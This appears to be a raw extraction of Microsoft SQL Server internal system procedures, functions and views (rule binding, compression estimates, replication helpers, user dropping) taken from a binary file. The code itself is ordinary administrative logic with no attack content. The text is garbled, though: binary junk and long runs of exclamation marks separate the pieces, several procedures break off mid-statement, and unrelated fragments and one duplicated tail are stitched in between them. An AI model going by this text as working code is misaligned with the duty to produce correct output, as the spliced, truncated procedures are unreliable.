		,@xtype			smallint
		,@xtypelen		int
		,@xusertype		int
		,@schid			int

	declare
		@UnqualRule		sysname
		,@QualRule1		sysname
		,@QualRule2		sysname
		,@QualRule3		sysname

		,@UnqualObj		sysname
		,@QualObj1		sysname
		,@QualObj2		sysname
		,@QualObj3		sysname

	set cursor_close_on_commit	off
	set nocount on

	select @futurevalue = 'futureonly'	-- initialize @futurevalue

	-- When a default or rule is bound to a user-defined datatype, it is also
	--  bound, by default, to any columns of the user datatype that are currently
	--  using the existing default or rule as their default or rule.  This default
	--  action may be overridden by setting @futureonly = @futurevalue when the
	--  procedure is invoked.  In this case existing columns with the user
	--  datatype won't have their existing default or rule changed.

	-- get name parts --
	select @UnqualRule = parsename(@rulename, 1),
			@QualRule1 = parsename(@rulename, 2),
			@QualRule2 = parsename(@rulename, 3),
			@QualRule3 = parsename(@rulename, 4)

	select @UnqualObj = parsename(@objname, 1),
			@QualObj1 = parsename(@objname, 2),
			@QualObj2 = parsename(@objname, 3),
			@QualObj3 = parsename(@objname, 4)

	if (@UnqualRule is null OR @QualRule3 is not null)
	begin
		raiserror(15253,-1,-1,@rulename)
		return (1)
	end

	if (@UnqualObj is null OR @QualObj3 is not null)
	begin
		raiserror(15253,-1,-1,@objname)
		return (1)
	end

	------------------  Verify database.
	if ((@QualObj2 is not null and @QualObj1 is null)
		or (@QualRule2 is not null and @QualRule2 <> db_name()))
	begin
		raiserror(15077,-1,-1)
		return (1)
	end

	--  Check that the @futureonly argument, if supplied, is correct.
	if (@futureonly is not null)
	begin
		select @futureonly = lower(@futureonly)
		begin
			if (@futureonly <> @futurevalue)
			begin
				raiserror(15106,-1,-1)
				return (1)
			end
		end
	end

	BEGIN TRANSACTION

	--  Check to see that the rule exists and get its id.
	select @ruleid = object_id from sys.objects
			where object_id = object_id(@rulename,'local')
				and type='R ' --rule object 7

	-- Share Lock rule so that it cannot be dropped
	if not (@ruleid is null)
	begin
		EXEC %%Object(MultiName = @rulename).LockMatchID(ID = @ruleid, Exclusive = 0, BindInternal = 0)
		if @@error <> 0
			select @ruleid = null
	end

	if @ruleid is null
	begin
		raiserror(15017,-1,-1,@rulename)
		goto error_abort_exit
	end

	-- Try to resolve column first. We need to extract
	--  and verify the table and column names and make sure the user owns
	--  the table that is getting the rule bound.
	if @QualObj1 is not null
	begin
		if (@QualObj2 is not null)
			select @vc1 = QuoteName(@QualObj2) + '.' + QuoteName(@QualObj1)
		else
			select @vc1 = QuoteName(@QualObj1)

		-- Check that table and column exist
		select @tab_id = o.object_id
			from sys.tables o join sys.columns c
				on o.object_id = c.object_id 
			where o.object_id = object_id(@vc1,'local')
				and c.name = @UnqualObj
 		if @tab_id is not null
		begin
			declare @is_sparse int
			declare @is_column_set int

			EXEC %%Object(MultiName = @vc1).LockMatchID(ID = @tab_id, Exclusive = 1, BindInternal = 0)

			-- Check again that table and column exist
			if @@error = 0
				select @xtype = system_type_id, @xtypelen = max_length,
					@is_sparse = is_sparse,
					@is_column_set = is_column_set
					from sys.columns
					where object_id = @tab_id
						and name = @UnqualObj
			if @xtype is null
			begin
				raiserror(15148,-1,-1, @objname)
				goto error_abort_exit
			end
			

			-- If the column type is image, text, or timestamp, disallow the bind.
			--  Rules can't be bound to image, text, or timestamp columns.
			--  The types are checked in case
			--  there is a user-defined datatype that is an image or text.
			--  User-defined datatypes mapping to timestamp are not allowed
			--  by sp_addtype.
			-- If the column is computed, disallow the bind.
			if ( type_name(@xtype) in ('text', 'ntext', 'image', 'timestamp', 'xml')
				or (type_name(@xtype) in ('varchar', 'nvarchar', 'varbinary') and 
					 @xtypelen = -1)
				or (ColumnProperty(object_id(@vc1,'local'), @UnqualObj, 'IsComputed') = 1)
				or @is_sparse = 1
				or @is_column_set = 1
			    or @xtype = 240 ) -- CLR UDT 
			begin
				raiserror(15107,-1,-1)
				goto error_abort_exit
			end

			EXEC %%ColumnEx(ObjectID = @tab_id, Name = @UnqualObj).SetRule(ID = @ruleid)

			-- EMDEventType(x_eet_Bind_Rule), EMDUniversalClass(x_eunc_Table), src major id, src minor id, src name
			-- EMDUniversalClass(x_eunc_Table), target major id, 1 means target name is column, target name,
			-- # of parameters, 5 parameters
			EXEC %%System().FireTrigger(ID = 219, ID = 1, ID = @ruleid, ID = 0, Value = NULL,
				ID = 1, ID = @tab_id, ID = 1, Value = @UnqualObj, ID = 3,
				Value = @rulename, Value = @objname, Value = @futureonly, Value = NULL, Value = NULL, Value = NULL, Value = NULL)

			raiserror(15514,-1,-1)
		end
	end

	-- We're binding to a user type.  In this case, the @objname
	--  is really the name of the user datatype.
	--  When we bind to a user type, any existing columns get changed
	--  to the new binding unless their current binding is not equal
	--  to the current binding for the usertype or if they set the
	--  @futureonly parameter to @futurevalue.
	if @tab_id is null
	begin

		-- Get the current rule for the datatype.
		if @QualObj2 is null
			select @oldrule = rule_object_id, @xtype = system_type_id, @xusertype = user_type_id,
					@schid = schema_id
				from sys.types
				where user_type_id = type_id(@objname)
				and is_table_type=0
		
		-- Ex-lock and check permission
		if not (@xusertype is null)
		begin
			EXEC %%ScalarType(MultiName = @objname).LockMatchID(ID = @xusertype, Exclusive = 1)
			if (@@error <> 0)
				select @xusertype = null
		end

		if @xusertype is null
		begin
			raiserror(15148,-1,-1, @objname)
			goto error_abort_exit
		end

		-- If the column type is image, text, or timestamp, disallow the bind.
		--  Rules can't be bound to image, text columns or columns of CLR UDT types
		if ( type_name(@xtype) in ('text', 'ntext', 'image', 'timestamp', 'xml')
			 or  (type_name(@xtype) in ('varchar', 'nvarchar', 'varbinary') and 
				 @xtypelen = -1)
			 or @xtype = 240 ) -- CLR UDT 
		begin
			raiserror(15107,-1,-1)
			goto error_abort_exit
		end

		if exists (select * from sys.columns c where user_type_id = @xusertype and c.is_sparse = 1)
		begin
			raiserror(33079,-1,-1, @objname)
			goto error_abort_exit
		end

		EXEC %%ScalarType(ID = @xusertype).SetRule(ID = @ruleid)
		raiserror(15515,-1,-1)

		-- Now see if there are any columns with the usertype that need the new binding.
		if isnull(@futureonly, ' ') <> @futurevalue
		begin

			declare	@cur_tab_id		int
					,@bad_tab_id	int

			select	@cur_tab_id = 0		-- detect table id change for lock schema
					,@bad_tab_id = 0	-- skip bad tables (dropped, etc)

			declare ms_crs_bindrule_1 cursor local static for
			  select distinct
					 c.object_id, c.column_id
				from	 sys.columns c join sys.tables o
					on c.object_id = o.object_id
				where c.user_type_id = @xusertype
					and	((c.rule_object_id = 0)
						 or (c.rule_object_id = @oldrule))
				order by c.object_id
					  for read only

			open ms_crs_bindrule_1
			fetch next from ms_crs_bindrule_1 into
	!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(Bvz
create procedure sys.sp_estimate_data_compression_savings
	@schema_name		sysname,
	@object_name		sysname,
	@index_id		int,
	@partition_number	int,
	@data_compression	nvarchar(60)
as
begin
	set nocount on;

	if (3 <> SERVERPROPERTY ('EngineEdition'))
	begin
		declare @procName nvarchar(max) = N'sp_estimate_data_compression_savings';
		declare @procNameLen int = len(@procName);
		
		declare @instanceName nvarchar(max) = CONVERT(nvarchar(max), SERVERPROPERTY('InstanceName'));
		declare @instanceNameLen int = len(@instanceName);
		
		raiserror(534, -1, -1, @procNameLen, @procName, @instanceNameLen, @instanceName);
	end

	-- Check @schema_name parameter
	declare @schema_id int 
	if (@schema_name is null)
		set @schema_id = schema_id()
	else 
		set @schema_id = schema_id(@schema_name)

	if (@schema_id is null)
	begin
		raiserror(15659, -1, -1, @schema_name);
		return @@error;
	end
	-- Set the schema name to the default schema
	if (@schema_name is null)
		set @schema_name = schema_name(@schema_id);

	-- check object name
	if (@object_name is null)
	begin
		raiserror(15223, -1, -1, 'object_name');
		return @@error;
	end
	
	-- Check if the object name is a temporary table
	if (substring(@object_name, 1, 1) = '#')
	begin
		raiserror(15661, -1, -1);
		return @@error;
	end

	-- Verify that the object exists and that the user has permission to see it.
	declare @object_id int = object_id(quotename(@schema_name) + '.' + quotename(@object_name));
	declare @object_len int;
	if (@object_id is null)
	begin
		set @object_len = datalength(@object_name);
		raiserror(1088, -1, -1, @object_len, @object_name);
		return @@error;
	end

	-- Check object type. Must be user table or view.
	if (not exists (select * from sys.objects where object_id = @object_id and (type = 'U' or type = 'V')))
	begin
		raiserror(15001, -1, -1, @object_name);
		return @@error;
	end

	-- Check SELECT permission on table. The check above fails if the user has no permissions
	-- on the table, so this check applies only if the user has some permission other than
	-- SELECT (e.g., INSERT) but not SELECT itself.
	if has_perms_by_name(quotename(@schema_name) + '.' + quotename(@object_name), 'object', 'select') = 0
	begin
		declare @db_name sysname = db_name();
		declare @db_len int = datalength(@db_name), @schema_len int = datalength(@schema_name);
		set @object_len = datalength(@object_name);
		raiserror(229, -1, -1, N'SELECT', @object_len, @object_name, @db_len, @db_name, @schema_len, @schema_name);
		return @@error;
	end

	-- Check for sparse columns or column sets.
	declare @sparse_columns_and_column_sets int = (select count(*) from sys.columns where object_id = @object_id and (is_sparse = 1 or is_column_set = 1));
	if (@sparse_columns_and_column_sets > 0)
	begin
		raiserror(15662, -1, -1);
		return @@error;
	end

	-- check data compression
	if (@data_compression is null)
	begin
		raiserror(15223, -1, -1, 'datacompression');
		return @@error;
	end

	set @data_compression = upper(@data_compression);
	if (@data_compression not in ('NONE', 'ROW', 'PAGE'))
	begin
		raiserror(3217, -1, -1, 'datacompression');
		return @@error;
	end

	if (@index_id is not null)
	begin
		declare @index_type int = null;
		select @index_type = type from sys.indexes with (nolock) where object_id = @object_id and index_id = @index_id;

		if (@index_type is null)
		begin
			raiserror(15323, -1, -1, @object_name);
			return @@error;
		end

		if (@index_type not in (0, 1, 2))
		begin
			-- Currently do not support XML and spatial indexes
			raiserror(15660, -1, -1);
		end
	end

	declare @desired_compression int = case @data_compression when 'NONE' then 0 when 'ROW' then 1 else 2 end;

	-- Hard coded sample table and indexes that we will use
	declare @sample_table nvarchar(256) = '#sample_tableDBA05385A6FF40F888204D05C7D56D2B';
	declare @dummy_column nvarchar(256) = 'dummyDBA05385A6FF40F888204D05C7D56D2B';
	declare @sample_index nvarchar(256) = 'sample_indexDBA05385A6FF40F888204D05C7D56D2B';
	declare @pages_to_sample int = 5000;

	-- Find all the partitions and their partitioning info that we need
	select i.index_id, p.partition_number, p.data_compression, p.data_compression_desc, ic.column_id as [partition_column_id], 
		   f.function_id as [partition_function_id], 
		   case when exists  (select * from sys.computed_columns c with (nolock) join sys.index_columns ic with (nolock) 
								  on ic.object_id = c.object_id and ic.column_id = c.column_id and c.is_persisted = 0
							   where ic.index_id = i.index_id) then 1 else 0 end as requires_computed,
		   create_index_ddl, compress_current_ddl, compress_desired_ddl, is_primary
	into #index_partition_info
	from sys.partitions p with (nolock)
	join sys.indexes i with (nolock) on p.object_id = i.object_id and p.index_id = i.index_id
	left join (select * from sys.index_columns with (nolock) where partition_ordinal = 1) ic on p.object_id = ic.object_id and i.index_id = ic.index_id
	left join sys.partition_schemes ps with (nolock) on ps.data_space_id = i.data_space_id
	left join sys.partition_functions f with (nolock) on f.function_id = ps.function_id
	cross apply sys.generate_index_ddl(@object_id, i.index_id, p.data_compression, @sample_table, @sample_index, @desired_compression)
	where p.object_id = @object_id 
	  and i.is_disabled = 0 and i.is_hypothetical = 0
	  -- Filter on index and/or partition if these were provided - always include the clustered index if there is one
	  and i.type <= 2 -- ignore XML, Extended, columnstore indexes for now
	  and (i.index_id = case when @index_id is null then i.index_id else @index_id end or i.index_id = 1)
	  and p.partition_number = case when @partition_number is null then p.partition_number else @partition_number end
	order by i.index_id
	  
	-- If the user requested to estimate compression of a view that isn't indexed, we will not have anything in #index_partition_info
	if (0 = (select count(*) from #index_partition_info))
	begin
		raiserror(15001, -1, -1, @object_name);
		return @@error;
	end

	-- Find all the xml schema collections used by the table
	select	'use tempdb; create xml schema collection ' + quotename(N'schema_' + convert(nvarchar(10), xml_collection_id)) +
		' as N''' + replace(convert(nvarchar(max), xml_schema_namespace(schema_name, name)), N'''', N'''''') + '''' as create_ddl,
		'use tempdb; drop xml schema collection ' + quotename(N'schema_' + convert(nvarchar(10), xml_collection_id)) as drop_ddl
	into #xml_schema_ddl
	from 
	(
		select distinct c.xml_collection_id, xsc.name, s.name as schema_name
		from sys.columns c with (nolock) 
		join sys.xml_schema_collections xsc with (nolock) on c.xml_collection_id = xsc.xml_collection_id
		join sys.schemas s with (nolock) on xsc.schema_id = s.schema_id
		where c.object_id = @object_id and c.xml_collection_id <> 0
	) t

	-- create required xml schema collections
	declare c cursor local fast_forward for select create_ddl from #xml_schema_ddl
	open c;
	declare @create_ddl nvarchar(max)
	fetch next from c into @create_ddl;
	while @@fetch_status = 0
	begin
		exec(@create_ddl);

		fetch next from c into @create_ddl;
	end;
	close c;
	deallocate c;	

	-- Create results table
	create table #estimated_results ([object_name] sysname, [schema_name] sysname, [index_id] int, [partition_number] int,
									[size_with_current_compression_setting(KB)] bigint, [size_with_requested_compression_setting(KB)] bigint,
									[sample_size_with_current_compression_setting(KB)] bigint, [sample_size_with_requested_compression_setting(KB)] bigint);

	-- Outer Loop - Iterate through each unique partition sample
	-- Iteration does not have to be in any particular order, the results table will sort that out
	declare c cursor local fast_forward for 
		select partition_column_id, partition_function_id, partition_number, requires_computed, alter_ddl, insert_d!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<v!L0?@ 8create procedure sys.sp_attach_single_file_db
	@dbname sysname,
	@physname nvarchar(260)
as
	declare @execstring nvarchar (4000)
	set nocount on

	if (SERVERPROPERTY('IsMatrix') = 1)
	begin
		raiserror (28401, -1, -1, N'sys.sp_attach_single_file_db')
		return (1)
	end

	if ((@dbname is null or datalength(@dbname) = 0) or
	   (@physname is null or datalength(@physname) = 0))
	begin
		raiserror (15004,-1,-1)
		return (1)
	end

	select @execstring = 'CREATE DATABASE '
		+ quotename( @dbname , '[')
		+ ' ON (FILENAME ='
		+ ''''
		+ REPLACE(@physname,N'''',N'''''')
		+ ''''
		+ ' ) FOR ATTACH'
	EXEC (@execstring)
	if @@error <>  0
	begin
		-- No need to raiserror as the CREATE DATABASE will do so
		return(1)
	end

	-- strip out replication from this database
	EXEC sys.sp_MSremovedbreplication_internal @dbname

	return (0) -- sp_attach_single_file_db
0bC@ K8CREATE PROCEDURE sys.sp_MSinit_publication_access 
(
    @publisher sysname,
    @publisher_db sysname = NULL,
    @publication sysname = NULL,
    @initinfo nvarchar(max),
    @skip bit = 0
) 
as
begin
    set nocount on
    declare @publisher_id smallint
            ,@retcode int
            ,@publication_id int
            ,@login sysname
            ,@sid varbinary(85)
            ,@itemstart bigint
            ,@itemend bigint
    --
    -- sysadmin check
    --
    if (isnull(is_srvrolemember(N'sysadmin'),0) = 0)
    begin
        raiserror(21089,16,-1) 
        return (1)
    end
    --
    -- initinfo should not be null
    --
    if (@initinfo is null or @initinfo = N'')
        return 0
    --
    -- Check if publisher is a defined as a distribution publisher in the current database
    --
    exec @retcode = sys.sp_MSvalidate_distpublisher @publisher, @publisher_id OUTPUT
    if @retcode <> 0
        return(1)
    --
    -- validate publication
    --
    select @publication_id = publication_id 
    from dbo.MSpublications 
    where 
        publisher_id = @publisher_id and
        publisher_db = @publisher_db and
        publication = @publication
    --
    -- Publication does not exist
    --
    if @publication_id is null
    begin
        raiserror (20026, 16, -1, @publication)
        return (1)
    end
    --
    -- while there are items 
    --
    select @itemstart = charindex(N'<item\>', @initinfo)
    while (@itemstart > 0)
    begin
        select @itemend = charindex(N'</item\>', @initinfo, @itemstart)
        select @login = substring(@initinfo, @itemstart + 7, @itemend - @itemstart - 7)
        --
        -- Check to see if the login exists - should have valid SID
        --
        select @sid = suser_sid(@login,0)
        if (@sid is not null)
        begin
            -- Add login to the access list if it does not exist
            if not exists (select * from dbo.MSpublication_access 
                                where publication_id = @publication_id and
                                        sid = @sid)
            begin
                insert dbo.MSpublication_access (publication_id, login, sid)
                    values (@publication_id,@login,@sid)
                if  @@error <> 0
                    return(1)
            end
        end
        else
        begin
            -- Login does not have access
            if @skip = 0
            begin
                raiserror(21048, 16, 1, @login, @@servername) 
                return (1)
            end
        end
        --
        -- get the start of next item
        --
        select @itemstart = charindex(N'<item\>', @initinfo, @itemend)
    end -- while (@itemstart > 0)
    --
    -- all done
    --
    return 0
end
0@ D8\ph$0'@ 8-- This takes sysmergearticles.columns as @bmap and map @colid to 
-- the counterpart colid in published article table.
-- Note this returns input @colid when called on non-publishing subsriber, 
-- as there is no need to do colid in this case.
create function sys.fn_MapColid(@pubid uniqueidentifier, @tablenick int, @colid int)
    returns int
as
begin
    -- separate columns map into @bytemap and @bitmap portion
    declare @bmap varbinary(128)
    select @bmap=columns
            from sysmergearticles
            where pubid=@pubid and nickname=@tablenick
    if @@rowcount=0 OR @bmap IS NULL
        return @colid
        
    declare @bytenum int, @bitnum int
    declare @bytemap varbinary(128), @bitmap binary
    set @bytenum = @colid/8
    set @bitnum = @colid%8
    -- over case
    if @bitnum<>0
    begin
        if @bytenum=0
        begin
            set @bytemap=NULL
            set @bitmap=substring(@bmap, 1, 1)
        end
        else
        begin
            set @bytemap=substring(@bmap, 1, @bytenum)
            set @bitmap=substring(@bmap, @bytenum+1, 1)     
        end
    end
    -- under case
    else
    begin
        if @bytenum between 0 and 1
        begin
            set @bytemap=NULL
            set @bitmap=substring(@bmap, 1, 1)
        end
        else
        begin
            set @bytemap=substring(@bmap, 1, @bytenum-1)
            set @bitmap=substring(@bmap, @bytenum, 1)       
        end
    end
    -- check the colid is for missing or deleted column
    declare @count int
    set @count=0
    declare @mark int, @shift int
    set @shift=case when @bitnum=0 then 7 else (@bitnum-1) end
    set @mark=power(2, @shift)
    if @mark&@bitmap=0
        return 0      
    if @bitnum=0
        set @bitnum=8
    if @bytemap IS NOT NULL
        set @count=sys.fn_numberOf1InVarBinary(@bytemap)
    set @count=@count+sys.fn_numberOf1InBinaryAfterLoc(@bitmap, @bitnum)
    return @count
end
  return (1)
            end
        end
        --
        -- get the start of next item
        --
        select @itemstart = charindex(N'<item\>', @initinfo, @itemend)
    end -- while (@itemstart > 0)
    --
    -- all done
    --
    return 0
end
0@ D8\ph$olumns;
	deallocate dec_columns;

	if (@num_dec_columns = 0) 
		return;

	set @sql_string = @sql_string +
		N' as float)) from ' + @quoted_table_name + N' tablesample (5000 rows)';
		
	exec (@sql_string);
	select @avg_savings = @fixed_decimal_size - (avg_compressed_decimal_size + 2 * @num_dec_columns) from #savings_table;
	if (@avg_savings is null)
		set @avg_savings = 0;
end;
0v@ y8CREATE view sys.dm_fts_active_catalogs
AS
	SELECT * FROM OpenRowset(TABLE FTCATALOGS)
0P|@ M8CREATE VIEW sys.dm_tran_database_transactions AS
	SELECT 
		transaction_id,
		database_id,
		database_transaction_begin_time,
		database_transaction_type,
		database_transaction_state,
		database_transaction_status,
		database_transaction_status2,
		database_transaction_log_record_count,
		database_transaction_replicate_record_count,
		database_transaction_log_bytes_used,
		database_transaction_log_bytes_reserved,
		database_transaction_log_bytes_used_system,
		database_transaction_log_bytes_reserved_system,
		database_transaction_begin_lsn,
		database_transaction_last_lsn,
		database_transaction_most_recent_savepoint_lsn,
		database_transaction_commit_lsn,
		database_transaction_last_rollback_lsn,
		database_transaction_next_undo_lsn
	FROM OpenRowset(TABLE DATABASE_TRANSACTIONS)
0Z) 8CREATE VIEW sys.dm_hadr_availability_replica_cluster_nodes AS
	SELECT *
	FROM OpenRowset(TABLE DM_HADR_AVAILABILITY_REPLICA_CLUSTER_NODES)
0g* 8CREATE VIEW sys.dm_filestream_file_io_requests AS
    SELECT *
    FROM OpenRowset(TABLE DM_FILESTREAM_FILE_IO_REQUESTS)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!^C
$K`B<\;Ĕ=0` 8create procedure sys.sp_dropuser
	@name_in_db     sysname     -- user name to drop
as
    -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
	set nocount on
    declare @ret    int
    declare @targetName sysname
    -- LIMIT TO SQL/NT USERS (BCKWRD COMPAT ONLY!)
    if not exists (select * from sysusers where name = @name_in_db
                    and (isntuser = 1 or isntname = 0))
    begin
        raiserror(15008,-1,-1,@name_in_db)
        return (1)
    end
    -- store target name
    select  @targetName = (select sl.name from master..syslogins sl,sysusers su where su.name = @name_in_db and su.sid = sl.sid)

    -- DROP THE USER FROM THE DATABASE --
    EXEC @ret = sys.sp_revokedbaccess @name_in_db
    if @ret <> 0
    begin
        -- AUDIT FAILED SECURITY CHECK
	    dbcc auditevent (109, 2, 0, @targetName, @name_in_db, NULL, NULL, NULL, NULL, NULL)
        return (1)
    end

    -- AUDIT SUCCESSFUL SECURITY CHECK --
    dbcc auditevent (109, 2, 1, @targetName, @name_in_db, NULL, NULL, NULL, NULL, NULL)

    -- FINALIZATION: PRINT/RETURN SUCCESS --
    return (0) -- sp_dropuser
0>K@ 8CREATE VIEW sys.services$ AS
	SELECT o.name,
		service_id = o.id,
		principal_id = p.indepid,
		service_queue_id = r.indepid
	FROM sys.sysbinobjs o
	JOIN sys.syssingleobjrefs r ON r.depid = o.id AND r.class = 21 AND r.depsubid = 0	-- SRC_SVCTOQUEUE
	LEFT JOIN sys.syssingleobjrefs p ON p.depid = o.id AND p.class = 55 AND p.depsubid = 0	-- SRC_SERVICEOWNER
	WHERE o.class = 23 AND o.nsid = 0
0b@ 8 
-- add it
create view sys.dm_pdw_nodes_exec_connections as
select *, convert(int, null) pdw_node_id from sys.dm_exec_connections
0: 8--
-- Name: fn_replgetsubscriptionkey
-- 
-- Description: This functions returns the sync manager subscriptions key
-- Parameter:   (none)
--
-- Notes: Does not include trailing '\'
--
-- Returns: nvarchar(260)
--
-- Security: Internal
-- 
create function sys.fn_replgetsubscriptionregkey(
    @publisher sysname = null
    ,@publisher_db sysname = null
    ,@publication sysname = null
    ,@subscriber sysname = null
    ,@subscriber_db sysname = null
) returns nvarchar(932)
as
begin
    declare @subscription_name nvarchar(644)
    set @subscription_name = case
                                    when @publisher is not null then @publisher + ':'
                                    else ''
                                end +
                                case
                                    when @publisher_db is not null then @publisher_db + ':'
                                    else ''
                                end +
                                case
                                    when @publication is not null then @publication + ':'
                                    else ''
                                end +
                                case
                                    when @subscriber is not null then @subscriber + ':'
                                    else ''
                                end +
                                case
                                    when @subscriber_db is not null then @subscriber_db
                                    else ''
                                end
    set @subscription_name = replace(@subscription_name,N'\',N'/')
    return sys.fn_replgetinstanceregkey() + N'\Replication\Subscriptions\' + @subscription_name
end
0T@ 8create procedure sys.sp_MSsetfilterparent @filter_name nvarchar(386), @parent_id int
as
   -- SQL SERVER 7.0 ONLY update sys.objects, set parent id = underlying
   -- object id

    declare @retcode int,
            @objid int

    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
        return(1)

    -- Don't bother to do anything if filter name is null or empty
    if @filter_name is null or @filter_name = N''
        return 0

    BEGIN TRANSACTION
    select @objid = object_id( @filter_name )
    -- Lock @filter_name
    if not (@objid is null)
    begin
        EXEC %%Object(MultiName = @filter_name).LockMatchID(ID = @objid, Exclusive = 1, BindInternal = 0)
        if @@error <> 0
            select @objid = null
    end

    if @objid is null
    begin
        raiserror(15052, -1, -1, @filter_name)
        goto error_abort_exit
    end

    -- Lock its parent
    if @parent_id <> 0
    begin
        declare @objname nvarchar(517)
        exec sys.sp_MSget_qualified_name @parent_id, @objname output
        if not (@objname is null)
        begin
            EXEC %%Object(MultiName = @objname).LockMatchID(ID = @parent_id, Exclusive = 1, BindInternal = 0)
            if @@error <> 0
                select @objname = null
        end

        if @objname is null
        begin
            raiserror(18750, -1, -1, 'sp_MSsetfilterparent', 'parent_id')
            goto error_abort_exit
        end 
    end

    EXEC %%Module(ID = @objid).SetFilterParentRelation(ID = @parent_id)

    COMMIT TRANSACTION
    return (0)

error_abort_exit:
    IF @@TRANCOUNT = 1
        ROLLBACK TRANSACTION
    ELSE COMMIT TRANSACTION
0h- D8Gh7B+603@ `8create procedure sys.sp_MSpeerconflictdetection_statuscollection_sendrequest(
	@request_id	int,
	@publication	sysname
)
as
begin
	declare @cmdtxt nvarchar(max)

	-- construct the command to be proxied
	select @cmdtxt = N'if @@microsoftversion >= 0x0A000000 
					begin
						exec sp_MSpeerconflictdetection_statuscollection_sendresponse
									@request_id =' + cast(@request_id as nvarchar) + N',
									@publication = N' + QUOTENAME(@publication, N'''') + N',
									@originator_node = N' +  QUOTENAME(publishingservername(), N'''')  + N',
									@originator_db = N' + QUOTENAME(db_name(), N'''') + N' 
					end'

	--- foward and proxy the command to send a response
	exec sys.sp_MSpeertopeerfwdingexec @command = @cmdtxt, @publication = @publication, @execute = 0, @change_results_originator = 1
end 
0M/@ 8create procedure sys.sp_MScheckatpublisher
    @pubid                    uniqueidentifier
    AS
    -- this routine will be called by sp_addmergearticle, sp_changemergearticle
    declare @db_name        sysname

    select @db_name =db_name from dbo.sysmergesubscriptions
        where (subid=pubid) and (subid=@pubid) 
    IF @db_name <> db_name() 
        RETURN 1
    ELSE 
        RETURN 0
processing all empty names for un/fk/chk
			if (@type_mask & @done_mask) = @done_mask
				break
			else
				select @type_mask = @type_mask | 
													case @typeid when N'UQ' then @subtype_addun
																		when N'F' then @subtype_addfk
																		when N'C' then @subtype_addchk
																		end
		end
		else
		begin
			if @debug_print = 1
				select 'stage' = 'sp_MSfixup_constraints_name:update'
										,'@row_id' = @row_id
										, * from #tran_altertable where id = @row_id

			update #tran_altertable set ColumnName = @colname where id = @row_id
			if @@error > 0
				goto FAILURE
		end

			fetch #fkcursor into @colname, @typeid, @modified_date 
	end
	close #fkcursor
	deallocate #fkcursor

	if @debug_print = 1
		select 'stage' = 'sp_MSfixup_constraints_name:exit'
								,'comments' = 'un/fk/chk name filled'
								,* from #tran_altertable

	commit tran replddl_fixup_constraints_name
	return 0
FAILURE:
	close #fkcursor
	deallocate #fkcursor
	rollback tran replddl_fixup_constraints_name
	commit tran
	return 1

end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!UC|8`<1N_0`1 8create procedure sys.sp_dropextendedproperty
	@name sysname,
	@level0type	varchar(128)	= NULL,
	@level0name	sysname			= NULL,
	@level1type	varchar(128)	= NULL,
	@level1name	sysname			= NULL,
	@level2type	varchar(128)	= NULL,
	@level2name	sysname			= NULL
as
	declare @ret int
	
	if @name is null
	begin
		raiserror(15600,-1,-1,'sp_dropeextendedproperty')
		return (1)
	end

	execute @ret = sys.sp_validname @name
	if (@ret <> 0)
	begin
		raiserror(15600,-1,-1,'sp_dropeextendedproperty')
		return (1)
	end
	
	BEGIN TRANSACTION
	
	begin
		EXEC %%ExtendedPropertySet().RemoveValue(Name = @name, Level0type = @level0type, Level0name = @level0name, Level1type = @level1type, Level1name = @level1name, Level2type = @level2type, Level2name = @level2name) 
		IF @@ERROR <> 0
		begin
			COMMIT TRANSACTION
			return (1)
		end
	end
		
	COMMIT TRANSACTION
	return (0)
0B 8create function sys.fn_servershareddrives
	(
	)
returns @tab table(DriveName nchar(1) NOT NULL)
as
begin
	insert @tab
	select [DriveName] from OpenRowset(TABLE SERVERSHAREDDRIVES)

	return
end
0NJ F8CREATE PROCEDURE sys.sp_addqreader_agent
(
	@job_login 		nvarchar(257) = NULL,
	@job_password 	sysname = NULL,
	@job_name		sysname = NULL,
	@frompublisher  bit = 0
)
AS
BEGIN
	SET NOCOUNT ON
	DECLARE @retcode			int,
			@qreader_exists 	bit

	if (@frompublisher = 0)
	begin
	    -- Security Check: require sysadmin/dbo of dist 
		IF IS_SRVROLEMEMBER('sysadmin') != 1
		BEGIN
			RAISERROR(21089,16,-1) 
			RETURN 1
		END

		-- database must be distribution db
		IF sys.fn_MSrepl_isdistdb(DB_NAME()) <> 1
		BEGIN
			RAISERROR (21482, 16, -1, 'sp_addqreader_agent', 'distribution')
			RETURN (1)
		END
	end
	else
	begin
		-- Security Check: require sysadmin of publisher 
		IF IS_SRVROLEMEMBER('sysadmin') != 1
		BEGIN
			RAISERROR(21089,16,-1) 
			RETURN 1
		END

		-- database must be publishing db
		IF sys.fn_MSrepl_istranpublished(DB_NAME(), 0) <> 1
		BEGIN
			RAISERROR (14013, 16, -1)
			RETURN (1)
		END
	end

	--
	-- if executed from publisher
	--
	if (@frompublisher = 1)
	begin
		declare @loc_publisher sysname
				,@loc_distribdb sysname
				,@rpcsrvname sysname
				,@rpc nvarchar(1000)
		--
		-- get the distributor rpc info
		--
		select @loc_publisher = CONVERT(sysname, SERVERPROPERTY('ServerName'))
		EXEC @retcode = sys.sp_MSrepl_getdistributorinfo @publisher = @loc_publisher,
												@rpcsrvname = @rpcsrvname OUTPUT,
												@distribdb = @loc_distribdb OUTPUT

		IF @@error <> 0 OR @retcode <> 0 or (@rpcsrvname IS NULL) or (@loc_distribdb IS NULL)
		BEGIN
			RAISERROR (14080, 16, -1, @loc_publisher)
			RETURN (1)
		END
		--
		-- execute the RPC
		--
		select @rpc = quotename(@rpcsrvname) + N'.' + quotename(@loc_distribdb) + N'.dbo.sp_addqreader_agent'
		exec @retcode = @rpc @job_login
							,@job_password
							,@job_name
							,0
		if (@@error != 0)
    		select @retcode = 1
